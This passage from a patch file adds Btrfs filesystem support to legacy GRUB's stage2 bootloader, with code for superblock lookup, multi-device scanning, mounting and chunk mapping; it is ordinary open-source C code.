-+       BTRFS_DIRECTORY_FILE,
-+       BTRFS_SYMLINK_FILE,
-+       BTRFS_UNKNOWN_FILE
-+} btrfs_file_type;
-+
-+static inline int coord_is_root(struct btrfs_root *root,
-+                               struct btrfs_path *path)
-+{
-+       return btrfs_header_bytenr(&path->nodes[0]) ==
-+               btrfs_header_bytenr(&root->node);
-+}
-+
-+static inline btrfs_file_type btrfs_get_file_type (int mode)
-+{
-+       if (S_ISLNK(mode))
-+               return BTRFS_SYMLINK_FILE;
-+       if (S_ISREG(mode))
-+               return BTRFS_REGULAR_FILE;
-+       if (S_ISDIR(mode))
-+               return BTRFS_DIRECTORY_FILE;
-+       return BTRFS_UNKNOWN_FILE;
-+}
-+
-+#define min_t(type,x,y)                                                       \
-+       ({ type __x = (x); type __y = (y); __x < __y ? __x: __y; })
-+#define max_t(type,x,y)                                                       \
-+       ({ type __x = (x); type __y = (y); __x > __y ? __x: __y; })
-+
-+
-+int sys_array_lookup(struct map_lookup *map, u64 logical);
-+int tree_chunk_lookup(struct map_lookup *map,
-+                     u64 logical);
-+int __btrfs_map_block(u64 logical, u64 *length,
-+                     struct btrfs_multi_bio *multi_ret, int mirror_num);
-+int read_tree_block(struct btrfs_root *root,
-+                   struct extent_buffer *eb,
-+                   u64 bytenr, /* logical */
-+                   u32 blocksize,
-+                   u64 parent_transid,
-+                   lookup_pool_id lpid);
-+int check_read_chunk(struct btrfs_key *key,
-+                    struct extent_buffer *leaf,
-+                    struct btrfs_chunk *chunk,
-+                    struct map_lookup *map,
-+                    u64 logical);
-+/*
-+  Local variables:
-+  c-indentation-style: "K&R"
-+  mode-name: "LC"
-+  c-basic-offset: 8
-+  tab-width: 8
-+  fill-column: 80
-+  scroll-step: 1
-+  End:
-+*/
-\ No newline at end of file
-diff -up grub-upstream.wip/stage2/builtins.c.btrfs grub-upstream.wip/stage2/builtins.c
---- grub-upstream.wip/stage2/builtins.c.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/builtins.c	2012-03-20 05:11:13.000000000 +0000
-@@ -2456,6 +2456,16 @@ install_func (char *arg, int flags)
- 	  else
- #endif /* GRUB_UTIL */
- 	    {
-+ 	      /*
-+	       * FIXME: Ugly hack.
-+	       * Do not write to btrfs partition
-+	       * without a help of the file system!
-+	       */
-+ 	      if (!strcmp(fsys_table[fsys_type].name, "btrfs"))
-+ 		{
-+ 		  errnum = ERR_BAD_ARGUMENT;
-+ 		  goto fail;
-+ 		}
- 	      if (! devwrite (saved_sector - part_start, 1, stage2_buffer))
- 		goto fail;
- 	    }
-@@ -4281,6 +4291,7 @@ setup_func (char *arg, int flags)
-     {"jfs",      "/jfs_stage1_5"},
-     {"minix",    "/minix_stage1_5"},
-     {"reiserfs", "/reiserfs_stage1_5"},
-+    {"btrfs",    "/btrfs_stage1_5"},
-     {"vstafs",   "/vstafs_stage1_5"},
-     {"xfs",      "/xfs_stage1_5"}
-   };
-diff -up grub-upstream.wip/stage2/disk_io.c.btrfs grub-upstream.wip/stage2/disk_io.c
---- grub-upstream.wip/stage2/disk_io.c.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/disk_io.c	2012-03-20 05:07:09.000000000 +0000
-@@ -78,6 +78,9 @@ struct fsys_entry fsys_table[NUM_FSYS + 
- # ifdef FSYS_ISO9660
-   {"iso9660", iso9660_mount, iso9660_read, iso9660_dir, 0, 0},
- # endif
-+# ifdef FSYS_BTRFS
-+  {"btrfs", btrfs_mount, btrfs_read, btrfs_dir, 0, btrfs_embed},
-+# endif
-   /* XX FFS should come last as it's superblock is commonly crossing tracks
-      on floppies from track 1 to 2, while others only use 1.  */
- # ifdef FSYS_FFS
-diff -up grub-upstream.wip/stage2/filesys.h.btrfs grub-upstream.wip/stage2/filesys.h
---- grub-upstream.wip/stage2/filesys.h.btrfs	2004-05-14 19:36:43.000000000 +0000
-+++ grub-upstream.wip/stage2/filesys.h	2012-03-20 05:07:09.000000000 +0000
-@@ -77,6 +77,16 @@ int reiserfs_embed (int *start_sector, i
- #define FSYS_REISERFS_NUM 0
- #endif
- 
-+#ifdef FSYS_BTRFS
-+#define FSYS_BTRFS_NUM 1
-+int btrfs_mount (void);
-+int btrfs_read (char *buf, int len);
-+int btrfs_dir (char *dirname);
-+int btrfs_embed (int *start_sector, int needed_sectors);
-+#else
-+#define FSYS_BTRFS_NUM 0
-+#endif
-+
- #ifdef FSYS_VSTAFS
- #define FSYS_VSTAFS_NUM 1
- int vstafs_mount (void);
-@@ -127,8 +137,8 @@ int iso9660_dir (char *dirname);
- #ifndef NUM_FSYS
- #define NUM_FSYS	\
-   (FSYS_FFS_NUM + FSYS_FAT_NUM + FSYS_EXT2FS_NUM + FSYS_MINIX_NUM	\
--   + FSYS_REISERFS_NUM + FSYS_VSTAFS_NUM + FSYS_JFS_NUM + FSYS_XFS_NUM	\
--   + FSYS_TFTP_NUM + FSYS_ISO9660_NUM + FSYS_UFS2_NUM)
-+   + FSYS_REISERFS_NUM + FSYS_BTRFS_NUM + FSYS_VSTAFS_NUM + FSYS_JFS_NUM \
-+   + FSYS_XFS_NUM + FSYS_TFTP_NUM + FSYS_ISO9660_NUM + FSYS_UFS2_NUM)
- #endif
- 
- /* defines for the block filesystem info area */
-diff -up /dev/null grub-upstream.wip/stage2/fsys_btrfs.c
---- /dev/null	2009-06-03 06:46:26.160951000 +0000
-+++ grub-upstream.wip/stage2/fsys_btrfs.c	2012-03-20 05:07:09.000000000 +0000
-@@ -0,0 +1,1820 @@
-+/* fsys_btrfs.c - an implementation for the Btrfs filesystem
-+ *
-+ * Copyright 2009 Red Hat, Inc.  All rights reserved.
-+ *
-+ * This program is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This program is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
-+ */
-+
-+#ifdef FSYS_BTRFS
-+
-+#include "shared.h"
-+#include "filesys.h"
-+#include "btrfs.h"
-+
-+#define BTRFS_VERBOSE 0
-+
-+/* Cache layouts */
-+
-+#define LOOKUP_CACHE_BUF_SIZE   (4096)
-+#define LOOKUP_CACHE_SIZE       (LOOKUP_CACHE_BUF_SIZE * LAST_LOOKUP_POOL)
-+#define BTRFS_FS_INFO							\
-+	((struct btrfs_fs_info *)((unsigned long)FSYS_BUF +		\
-+				  LOOKUP_CACHE_SIZE))
-+#define BTRFS_CACHE_SIZE         (sizeof(struct btrfs_fs_info) +	\
-+				  LOOKUP_CACHE_SIZE)
-+#define BTRFS_TREE_ROOT          (&BTRFS_FS_INFO->tree_root)
-+#define BTRFS_CHUNK_ROOT         (&BTRFS_FS_INFO->chunk_root)
-+#define BTRFS_FS_ROOT            (&BTRFS_FS_INFO->fs_root)
-+#define BTRFS_SUPER              (&BTRFS_FS_INFO->sb_copy)
-+#define BTRFS_DEVICES            (&BTRFS_FS_INFO->devices[0])
-+#define BTRFS_FILE_INFO          (&BTRFS_FS_INFO->file_info)
-+#define BTRFS_FILE_INFO_KEY      (&BTRFS_FILE_INFO->key)
-+
-+#define BTRFS_VOLATILE_DEV_CACHE				        \
-+	(&BTRFS_FS_INFO->devices[BTRFS_NUM_CACHED_DEVICES])
-+
-+#define LOOKUP_CACHE_BUF(id) ((char *)((unsigned long)FSYS_BUF +	\
-+				       id * LOOKUP_CACHE_BUF_SIZE))
-+
-+#define noop   do {; } while (0)
-+
-+#if BTRFS_VERBOSE
-+#define btrfs_msg(format, ...) printf(format , ## __VA_ARGS__)
-+#else
-+#define btrfs_msg(format, args...) noop
-+#endif
-+
-+/* compile-time check to make sure we don't overlap
-+   filesystem buffer */
-+static inline void check_btrfs_cache_size(void)
-+{
-+	cassert(BTRFS_CACHE_SIZE <= FSYS_BUFLEN);
-+}
-+
-+static inline u64 btrfs_sb_offset(int mirror)
-+{
-+	u64 start = 16 * 1024;
-+	if (mirror)
-+		return start << (BTRFS_SUPER_MIRROR_SHIFT * mirror);
-+	return BTRFS_SUPER_INFO_OFFSET;
-+}
-+
-+static inline char *grab_lookup_cache(lookup_pool_id lpid)
-+{
-+	char *buf = LOOKUP_CACHE_BUF(lpid);
-+	memset(buf, 0, LOOKUP_CACHE_BUF_SIZE);
-+	return buf;
-+}
-+
-+static inline struct btrfs_path *btrfs_grab_path(lookup_pool_id lpid)
-+{
-+	return &BTRFS_FS_INFO->paths[lpid];
-+}
-+
-+static inline void btrfs_set_path_key(struct btrfs_path *path,
-+				      struct btrfs_key *key)
-+{
-+	btrfs_item_key_to_cpu(&path->nodes[0],
-+			      key,
-+			      path->slots[0]);
-+}
-+
-+static inline void btrfs_update_file_info(struct btrfs_path *path)
-+{
-+	btrfs_set_path_key(path, BTRFS_FILE_INFO_KEY);
-+}
-+
-+static inline void btrfs_set_root_dir_key(struct btrfs_key *key)
-+{
-+	key->objectid = BTRFS_FIRST_FREE_OBJECTID;
-+	btrfs_set_key_type(key, BTRFS_INODE_ITEM_KEY);
-+	key->offset = 0;
-+}
-+
-+static inline void copy_extent_buffer(struct extent_buffer *dst,
-+				      struct extent_buffer *src)
-+{
-+	char *data = dst->data;
-+	memcpy(dst, src, sizeof(*dst));
-+	memcpy(data, src->data, 4096);
-+	dst->data = data;
-+}
-+
-+static inline void move_extent_buffer(struct extent_buffer *dst,
-+				      struct extent_buffer *src)
-+{
-+	memcpy(dst, src, sizeof(*dst));
-+}
-+
-+static inline void init_btrfs_root (struct btrfs_root *root)
-+{
-+	root->node.data = root->data;
-+}
-+
-+static inline void init_btrfs_path(lookup_pool_id lpid)
-+{
-+	struct btrfs_path *path;
-+	path = btrfs_grab_path(lpid);
-+	path->lpid = lpid;
-+}
-+
-+static inline void init_btrfs_info(void)
-+{
-+	int i;
-+	
-+	memset(BTRFS_FS_INFO, 0, sizeof(struct btrfs_fs_info));
-+	for(i = 0; i < LAST_LOOKUP_POOL; i++)
-+		init_btrfs_path(i);
-+	init_btrfs_root(BTRFS_TREE_ROOT);
-+	init_btrfs_root(BTRFS_CHUNK_ROOT);
-+	init_btrfs_root(BTRFS_FS_ROOT);
-+}
-+
-+static void setup_root(struct btrfs_root *root,
-+		       u32 nodesize,
-+		       u32 leafsize,
-+		       u32 sectorsize,
-+		       u32 stripesize,
-+		       u64 objectid)
-+{
-+	root->nodesize = nodesize;
-+	root->leafsize = leafsize;
-+	root->sectorsize = sectorsize;
-+	root->stripesize = stripesize;
-+	root->objectid = objectid;
-+}
-+
-+/*
-+ * Pick up the latest root of a
-+ * tree with specified @objectid
-+ */
-+static int btrfs_find_last_root(struct btrfs_root *tree_root,
-+				u64 objectid,
-+				struct btrfs_root_item *item,
-+				lookup_pool_id lpid)
-+{
-+	int ret;
-+	int slot;
-+	struct btrfs_key search_key;
-+	struct btrfs_key found_key;
-+	struct btrfs_path *path;
-+
-+	search_key.objectid = objectid;
-+	search_key.type = BTRFS_ROOT_ITEM_KEY;
-+	search_key.offset = (u64)-1;
-+	path = btrfs_grab_path(lpid);
-+
-+	ret = aux_tree_lookup(tree_root, &search_key, path);
-+	if (ret < 0)
-+		return 1;
-+	slot = path->slots[0];
-+	WARN_ON(slot == 0);
-+	slot -= 1;
-+	btrfs_item_key_to_cpu(&path->nodes[0], &found_key, slot);
-+	if (found_key.objectid != objectid)
-+		return 1;
-+	
-+	read_extent_buffer(&path->nodes[0], item,
-+			   btrfs_item_ptr_offset(&path->nodes[0], slot),
-+			   sizeof(*item));
-+	return 0;
-+}
-+
-+static int find_setup_root(struct btrfs_root *tree_root,
-+			   u32 nodesize,
-+			   u32 leafsize,
-+			   u32 sectorsize,
-+			   u32 stripesize,
-+			   u64 objectid,
-+			   struct btrfs_root *dest_root,
-+			   u64 bytenr,
-+			   u32 blocksize,
-+			   u64 generation,
-+			   lookup_pool_id lpid)
-+{
-+	int ret;
-+	struct extent_buffer eb;
-+
-+	setup_root(dest_root,
-+		   nodesize,
-+		   leafsize,
-+		   sectorsize,
-+		   stripesize,
-+		   objectid);
-+	if (tree_root) {
-+		/*
-+		 * pick up the latest version
-+		 * of the root we want to set up
-+		 */
-+		ret = btrfs_find_last_root(tree_root, objectid,
-+					   &dest_root->root_item,
-+					   lpid);
-+		if (ret)
-+			return ret;
-+		bytenr = btrfs_root_bytenr(&dest_root->root_item);
-+		blocksize = btrfs_level_size(dest_root,
-+				       btrfs_root_level(&dest_root->root_item));
-+		generation = btrfs_root_generation(&dest_root->root_item);
-+	}
-+	ret = read_tree_block(dest_root,
-+			      &eb,
-+			      bytenr,
-+			      blocksize,
-+			      generation,
-+			      lpid);
-+	if (!ret)
-+		return 1;
-+	copy_extent_buffer(&dest_root->node, &eb);
-+	return 0;
-+}
-+
-+static inline int btrfs_strncmp(const char *cs, const char *ct, int count)
-+{
-+	signed char __res = 0;
-+
-+	while (count) {
-+		if ((__res = *cs - *ct++) != 0 || !*cs++)
-+			break;
-+		count--;
-+	}
-+	return __res;
-+}
-+
-+/*
-+ * the same as devread, but accepts
-+ * device number, start and length.
-+ */
-+static int btrfs_devread(unsigned long drive, unsigned long part,
-+			 unsigned long dev_len, int sector,
-+			 int byte_offset, int byte_len, char *buf)
-+{
-+	if (sector < 0
-+	    || ((sector + ((byte_offset + byte_len - 1) >> SECTOR_BITS))
-+		>= dev_len)) {
-+		errnum = ERR_OUTSIDE_PART;
-+		return 0;
-+	}
-+	sector += byte_offset >> SECTOR_BITS;
-+	byte_offset &= SECTOR_SIZE - 1;
-+#if !defined(STAGE1_5)
-+	if (disk_read_hook && debug)
-+		printf ("<%d, %d, %d>", sector, byte_offset, byte_len);
-+#endif /* !STAGE1_5 */
-+	return rawread(drive, part + sector, byte_offset,
-+		       byte_len, buf);
-+}
-+
-+static int btrfs_check_super(void)
-+{
-+	struct btrfs_super_block *sb = BTRFS_SUPER;
-+
-+	if (sb->nodesize != BTRFS_DEFAULT_NODE_SIZE) {
-+		btrfs_msg("Btrfs node size (%d) != %d unsupported\n",
-+			  sb->nodesize, BTRFS_DEFAULT_NODE_SIZE);
-+		goto error;
-+	}
-+	if (sb->leafsize != BTRFS_DEFAULT_LEAF_SIZE) {
-+ 	        btrfs_msg("Btrfs leaf size (%d) != %d unsupported\n",
-+			  sb->leafsize, BTRFS_DEFAULT_LEAF_SIZE);
-+		goto error;
-+	}
-+	
-+ 	return 0;
-+error:
-+	return 1;
-+}
-+
-+/* lift the super block */
-+static int btrfs_uptodate_super_copy(struct btrfs_fs_info *fs)
-+{
-+	errnum = ERR_NONE;
-+	btrfs_devread(BTRFS_FS_INFO->sb_dev.drive,
-+		      BTRFS_FS_INFO->sb_dev.part,
-+		      BTRFS_FS_INFO->sb_dev.length,
-+		      btrfs_sb_offset(BTRFS_FS_INFO->sb_mirror) >> SECTOR_BITS,
-+		      0,
-+		      sizeof(struct btrfs_super_block),
-+		      (char *)BTRFS_SUPER);
-+	return btrfs_check_super();
-+}
-+  
-+/*
-+ * Looking for a btrfs super block by magic, @fsid and @devid
-+ * (the last two ones are optional). Update latest transid (if
-+ * any). Return 0, if such super block was found. Otherwise,
-+ * return 1.
-+ *
-+ * NOTE:
-+ * After calling this function the sb_copy of global btrfs_fs_info
-+ * can contain garbage, so the caller is responsible for this to be
-+ * uptodate (see the function btrfs_uptodate_super_copy()).
-+ */
-+static int btrfs_find_super(struct btrfs_device *dev, char *fsid, u64 *devid)
-+{
-+	int i, ret;
-+	int found = 0;
-+
-+	for (i = 0; i < BTRFS_SUPER_MIRROR_MAX; i++) {
-+		ret = btrfs_devread(dev->drive,
-+				    dev->part,
-+				    dev->length,
-+				    btrfs_sb_offset(i) >> SECTOR_BITS,
-+				    0,
-+				    sizeof(struct btrfs_super_block),
-+				    (char *)BTRFS_SUPER);
-+		if (!ret) {
-+			if (errnum == ERR_OUTSIDE_PART) {
-+				errnum = ERR_NONE;
-+				break;
-+			} else {
-+				errnum = ERR_NONE;
-+				continue;
-+			}
-+		}
-+		if (btrfs_super_bytenr(BTRFS_SUPER) != btrfs_sb_offset(i) ||
-+		    btrfs_strncmp((char *)(&BTRFS_SUPER->magic),
-+				  BTRFS_MAGIC,
-+				  sizeof(BTRFS_SUPER->magic)))
-+			continue;
-+		if (fsid &&
-+		    btrfs_strncmp(fsid,
-+				  (char *)BTRFS_SUPER->fsid,
-+				  BTRFS_FSID_SIZE))
-+			return 1;
-+		if (devid &&
-+		    *devid != btrfs_super_devid(BTRFS_SUPER))
-+			return 1;
-+		found = 1;
-+		dev->devid = btrfs_super_devid(BTRFS_SUPER);
-+
-+		if (btrfs_super_generation(BTRFS_SUPER) >
-+		    BTRFS_FS_INFO->sb_transid) {
-+			BTRFS_FS_INFO->sb_transid =
-+				btrfs_super_generation(BTRFS_SUPER);
-+			BTRFS_FS_INFO->sb_mirror = i;
-+			BTRFS_FS_INFO->sb_dev.devid =
-+				btrfs_super_devid(BTRFS_SUPER);
-+			BTRFS_FS_INFO->sb_dev.drive = dev->drive;
-+			BTRFS_FS_INFO->sb_dev.part = dev->part;
-+			BTRFS_FS_INFO->sb_dev.length = dev->length;
-+		}
-+	}
-+	return !found;
-+}
-+
-+/*
-+ * "Discern" a btrfs device by fsid and
-+ * optionaly by devid (if lookup is set).
-+ * Populate persistent device cache (if
-+ * there are free slots).
-+ */
-+static int btrfs_discerner(struct btrfs_device **dev, int lookup)
-+{
-+	if (btrfs_find_super(*dev,
-+			     (char *)BTRFS_FS_INFO->fsid,
-+			     (lookup ? &(*dev)->devid : 0)))
-+		/* not found */
-+		return 0;
-+	if (*dev < BTRFS_VOLATILE_DEV_CACHE) {
-+		/* populate persistent device cache */
-+		memcpy(*dev + 1, *dev, sizeof(struct btrfs_device));
-+		(*dev)++;
-+	}
-+	return 1;
-+}
-+
-+/*
-+ * Scan available grub devices and call discerner
-+ * for them. Return a number of discerned devices
-+ * The scanner was stolen from print_completions().
-+ *
-+ * Preconditions:
-+ * The global structure btrfs_fs_info contains
-+ * the latest valid version of btrfs superblock
-+ * (the field @sb_copy)
-+ */
-+static u64 scan_grub_devices(struct btrfs_device *dev,
-+			     int (*discerner)(struct btrfs_device **, int),
-+			     int lookup)
-+{
-+	int i, j;
-+	u64 count = 0;
-+	struct geometry geom;
-+
-+	for (i = 0; i < 2; i++)
-+		for (j = 0; j < 8; j++) {
-+			unsigned long part = 0xFFFFFF;
-+			int type, entry, gpt_count, gpt_size;
-+			unsigned long offset, ext_offset, gpt_offset;
-+
-+			dev->drive = (i * 0x80) + j;
-+			if (get_diskinfo(dev->drive, &geom))
-+				continue;
-+			while (1) {
-+				int ret;
-+				buf_drive = -1;
-+				errnum = ERR_NONE;
-+				ret = next_partition(dev->drive, 0xFFFFFF,
-+						     &part, &type, &dev->part,
-+						     &dev->length, &offset,
-+						     &entry, &ext_offset,
-+						     &gpt_offset, &gpt_count,
-+						     &gpt_size,
-+						     BTRFS_FS_INFO->mbr);
-+				if (!ret)
-+					break;
-+				if (discerner(&dev, lookup)) {
-+					count++;
-+					if (lookup)
-+						goto exit;
-+				}
-+			}
-+		}
-+#if 0
-+	errnum = ERR_NONE;
-+	if (cdrom_drive != GRUB_INVALID_DRIVE &&
-+	    !get_diskinfo(cdrom_drive, &geom)) {
-+		dev->drive = cdrom_drive;
-+		dev->part = 0;
-+		dev->length = geom.total_sectors;
-+		if (discerner(&dev, lookup)) {
-+			count++;
-+			if (lookup)
-+				goto exit;
-+		}
-+	}
-+#ifdef SUPPORT_NETBOOT
-+	errnum = ERR_NONE;
-+	if (network_ready &&
-+	    !get_diskinfo(NETWORK_DRIVE, &geom)) {
-+		dev->drive = NETWORK_DRIVE;
-+		dev->part = 0;
-+		dev->length = geom.total_sectors;
-+		if (discerner(&dev, lookup)) {
-+			count++;
-+			if (lookup)
-+				goto exit;
-+		}
-+	}
-+#endif /* SUPPORT_NETBOOT */
-+#endif /* 0 */
-+ exit:
-+	return count;
-+}
-+
-+#if 0
-+static int btrfs_next_item(struct btrfs_root *root,
-+			   struct btrfs_path *path);
-+
-+/*
-+ * Scan the chunk tree for dev items
-+ * and call a seeker for all of them.
-+ * Preconditions: chunk root is installed
-+ * to the global btrfs_fs_info.
-+ */
-+static int scan_dev_tree(struct btrfs_device* (*seeker)(u64))
-+{
-+	int ret;
-+	u64 num_devices = 0;
-+	struct btrfs_key key;
-+	struct btrfs_key found_key;
-+	struct btrfs_path *path;
-+	struct btrfs_root *root;
-+
-+	root = BTRFS_CHUNK_ROOT;
-+	path = btrfs_grab_path(FIRST_EXTERNAL_LOOKUP_POOL);
-+	key.objectid = BTRFS_DEV_ITEMS_OBJECTID;
-+	key.type = 0;
-+	key.offset = 0;
-+
-+	ret = aux_tree_lookup(root, &key, path);
-+	if (ret == -1)
-+		goto corrupted;
-+	while (1) {
-+		struct btrfs_device *result;
-+		struct btrfs_dev_item *dev_item;
-+
-+		btrfs_item_key_to_cpu(&path->nodes[0],
-+				      &found_key,
-+				      path->slots[0]);
-+		if (found_key.objectid != BTRFS_DEV_ITEMS_OBJECTID)
-+			break;
-+		dev_item = btrfs_item_ptr(&path->nodes[0],
-+					  path->slots[0],
-+					  struct btrfs_dev_item);
-+		result = seeker(btrfs_device_id(&path->nodes[0], dev_item));
-+		if (result == NULL) {
-+			btrfs_msg("Btrfs device %llu is not available\n",
-+				  btrfs_device_id(&path->nodes[0], dev_item));
-+			goto missed_dev;
-+		}
-+		num_devices++;
-+		ret = btrfs_next_item(root, path);
-+		if (ret)
-+			break;
-+	}
-+	if (num_devices == btrfs_super_num_devices(BTRFS_SUPER))
-+		return 0;
-+ corrupted:
-+	errnum = ERR_FSYS_CORRUPT;
-+	return 1;
-+ missed_dev:
-+	errnum = ERR_FSYS_MOUNT;
-+	return 1;
-+}
-+#endif /* 0 */
-+
-+/*
-+ * Find a grub btrfs device by devid.
-+ * Preconditions: global btrfs_fs_info
-+ * contains a copy of btrfs super block.
-+ *
-+ * Return pointer to the cached device on success.
-+ * Otherwise return NULL.
-+ */
-+static struct btrfs_device *btrfs_lookup_device(u64 devid)
-+{
-+	int i, result;
-+	struct btrfs_device *cdev;
-+
-+	for (i = 0; i < BTRFS_NUM_CACHED_DEVICES; i++) {
-+		cdev = &BTRFS_DEVICES[i];
-+		if (cdev->devid == devid)
-+			goto found_in_cache;
-+		if (cdev->devid == 0)
-+			goto not_found_in_cache;
-+	}
-+not_found_in_cache:
-+	cdev = BTRFS_VOLATILE_DEV_CACHE;
-+	cdev->devid = devid;
-+	result = scan_grub_devices(cdev,
-+				   btrfs_discerner,
-+				   1);
-+	if (result == 0)
-+		/*
-+		 * At mount time we have figured out that
-+		 * number of available devices is not less
-+		 * then number of devices recorded in the
-+		 * super block. Hence we treat this case as
-+		 * file system corruption.
-+		 */
-+		goto corrupt;
-+	result = btrfs_uptodate_super_copy(BTRFS_FS_INFO);
-+	if (result)
-+		goto corrupt;
-+found_in_cache:
-+	return cdev;
-+corrupt:
-+	errnum = ERR_FSYS_CORRUPT;
-+	return NULL;
-+}
-+
-+static int btrfs_find_device(struct btrfs_device *dev)
-+{
-+	struct btrfs_device *cdev;
-+
-+	if (btrfs_super_num_devices(BTRFS_SUPER) == 1) {
-+		dev->drive = current_drive;
-+		dev->part = part_start;
-+		dev->length = part_length;
-+		return 0;
-+	}
-+	cdev = btrfs_lookup_device(dev->devid);
-+	if (cdev == NULL)
-+		return 1;
-+	dev->drive  = cdev->drive;
-+	dev->part   = cdev->part;
-+	dev->length = cdev->length;
-+	return 0;
-+}
-+
-+static inline void init_btrfs_volatile_dev_cache(void)
-+{
-+	BTRFS_VOLATILE_DEV_CACHE->devid = 0;
-+	BTRFS_VOLATILE_DEV_CACHE->drive = current_drive;
-+	BTRFS_VOLATILE_DEV_CACHE->part = part_start;
-+	BTRFS_VOLATILE_DEV_CACHE->length = part_length;
-+}
-+
-+/*
-+ * check availability of btrfs devices
-+ * and populate the persistent device cache
-+ */
-+static int btrfs_check_devices(void)
-+{
-+	u64 num_dev;
-+
-+	if (btrfs_super_num_devices(BTRFS_SUPER) == 1)
-+		return 0;
-+	num_dev = scan_grub_devices(BTRFS_DEVICES,
-+				    btrfs_discerner, 0);
-+	if (btrfs_uptodate_super_copy(BTRFS_FS_INFO))
-+		return 1;
-+	if (num_dev < btrfs_super_num_devices(BTRFS_SUPER)) {
-+		btrfs_msg("Some (%llu) Btrfs devices is not available\n",
-+			  btrfs_super_num_devices(BTRFS_SUPER) - num_dev);
-+	        return 1;
-+	}
-+	return 0;
-+}
-+
-+int btrfs_mount(void)
-+{
-+	int ret;
-+
-+	check_btrfs_cache_size();
-+	init_btrfs_info();
-+	init_btrfs_volatile_dev_cache();
-+
-+	ret = btrfs_find_super(BTRFS_VOLATILE_DEV_CACHE, NULL, NULL);
-+	if (ret) {
-+		btrfs_msg("Drive %lu, partition %lu: no Btrfs metadata\n",
-+			  current_drive, part_start);
-+		goto error;
-+	}
-+	ret = btrfs_uptodate_super_copy(BTRFS_FS_INFO);
-+	if (ret)
-+		goto error;
-+	BTRFS_FS_INFO->sb_transid =
-+		btrfs_super_generation(BTRFS_SUPER);
-+	memcpy(BTRFS_FS_INFO->fsid,
-+	       BTRFS_SUPER->fsid,
-+	       BTRFS_FSID_SIZE);
-+	ret = btrfs_check_devices();
-+	if (ret)
-+		goto error;
-+	/* setup chunk root */
-+	ret = find_setup_root(NULL,
-+			      btrfs_super_nodesize(BTRFS_SUPER),
-+			      btrfs_super_leafsize(BTRFS_SUPER),
-+			      btrfs_super_sectorsize(BTRFS_SUPER),
-+			      btrfs_super_stripesize(BTRFS_SUPER),
-+			      BTRFS_CHUNK_TREE_OBJECTID,
-+			      BTRFS_CHUNK_ROOT,
-+			      btrfs_super_chunk_root(BTRFS_SUPER),
-+			      btrfs_chunk_root_level_size(BTRFS_SUPER),
-+			      btrfs_super_chunk_root_generation(BTRFS_SUPER),
-+			      FIRST_EXTERNAL_LOOKUP_POOL);
-+	if (ret)
-+		return 0;
-+	/* setup tree root */
-+	ret = find_setup_root(NULL,
-+			      btrfs_super_nodesize(BTRFS_SUPER),
-+			      btrfs_super_leafsize(BTRFS_SUPER),
-+			      btrfs_super_sectorsize(BTRFS_SUPER),
-+			      btrfs_super_stripesize(BTRFS_SUPER),
-+			      BTRFS_ROOT_TREE_OBJECTID,
-+			      BTRFS_TREE_ROOT,
-+			      btrfs_super_root(BTRFS_SUPER),
-+			      btrfs_root_level_size(BTRFS_SUPER),
-+			      btrfs_super_generation(BTRFS_SUPER),
-+			      FIRST_EXTERNAL_LOOKUP_POOL);
-+	if (ret)
-+		return 0;
-+	/* setup fs_root */
-+	ret = find_setup_root(BTRFS_TREE_ROOT,
-+			      btrfs_super_nodesize(BTRFS_SUPER),
-+			      btrfs_super_leafsize(BTRFS_SUPER),
-+			      btrfs_super_sectorsize(BTRFS_SUPER),
-+			      btrfs_super_stripesize(BTRFS_SUPER),
-+			      BTRFS_FS_TREE_OBJECTID,
-+			      BTRFS_FS_ROOT,
-+			      0,
-+			      0,
-+			      0,
-+			      FIRST_EXTERNAL_LOOKUP_POOL);
-+	return !ret;
-+
-+error:
-+	errnum = ERR_FSYS_MOUNT;
-+	return 0;
-+}
-+
-+/*
-+ * Check, whether @chunk is the map for a
-+ * block with @logical block number.
-+ * If yes, then fill the @map.
-+ * Return 1 on affirmative result,
-+ * otherwise return 0.
-+ */
-+int check_read_chunk(struct btrfs_key *key,
-+			    struct extent_buffer *leaf,
-+			    struct btrfs_chunk *chunk,
-+			    struct map_lookup *map,
-+			    u64 logical)
-+{
-+	int i, ret;
-+	u64 chunk_start;
-+	u64 chunk_size;
-+	int num_stripes;
-+
-+	chunk_start = key->offset;
-+	chunk_size = btrfs_chunk_length(leaf, chunk);
-+
-+	if (logical + 1 > chunk_start + chunk_size ||
-+	    logical < chunk_start)
-+		/* not a fit */
-+		return 0;
-+	num_stripes = btrfs_chunk_num_stripes(leaf, chunk);
-+	map->ce.start = chunk_start;
-+	map->ce.size = chunk_size;
-+	map->num_stripes = num_stripes;
-+	map->io_width = btrfs_chunk_io_width(leaf, chunk);
-+	map->io_align = btrfs_chunk_io_align(leaf, chunk);
-+	map->sector_size = btrfs_chunk_sector_size(leaf, chunk);
-+	map->stripe_len = btrfs_chunk_stripe_len(leaf, chunk);
-+	map->type = btrfs_chunk_type(leaf, chunk);
-+	map->sub_stripes = btrfs_chunk_sub_stripes(leaf, chunk);
-+
-+	for (i = 0; i < num_stripes; i++) {
-+		map->stripes[i].physical =
-+			btrfs_stripe_offset_nr(leaf, chunk, i);
-+		map->stripes[i].dev.devid =
-+			btrfs_stripe_devid_nr(leaf, chunk, i);
-+		ret = btrfs_find_device(&map->stripes[i].dev);
-+		if (ret)
-+			return 0;
-+	}
-+	return 1;
-+}
-+
-+static void init_extent_buffer(struct extent_buffer *eb,
-+			       struct btrfs_device *dev,
-+			       u64 logical,
-+			       u32 blocksize,
-+			       u64 physical,
-+			       lookup_pool_id lpid)
-+{
-+	if (dev)
-+		memcpy(&eb->dev, dev, sizeof(*dev));
-+	eb->start = logical;
-+	eb->len = blocksize;
-+	eb->dev_bytenr = physical;
-+	eb->data = grab_lookup_cache(lpid);
-+}
-+
-+/*
-+ * Search for a map by logical offset in sys array.
-+ * Return -1 on errors;
-+ * Return 1 if the map is found,
-+ * Return 0 if the map is not found.
-+ */
-+int sys_array_lookup(struct map_lookup *map, u64 logical)
-+{
-+	struct extent_buffer sb;
-+	struct btrfs_disk_key *disk_key;
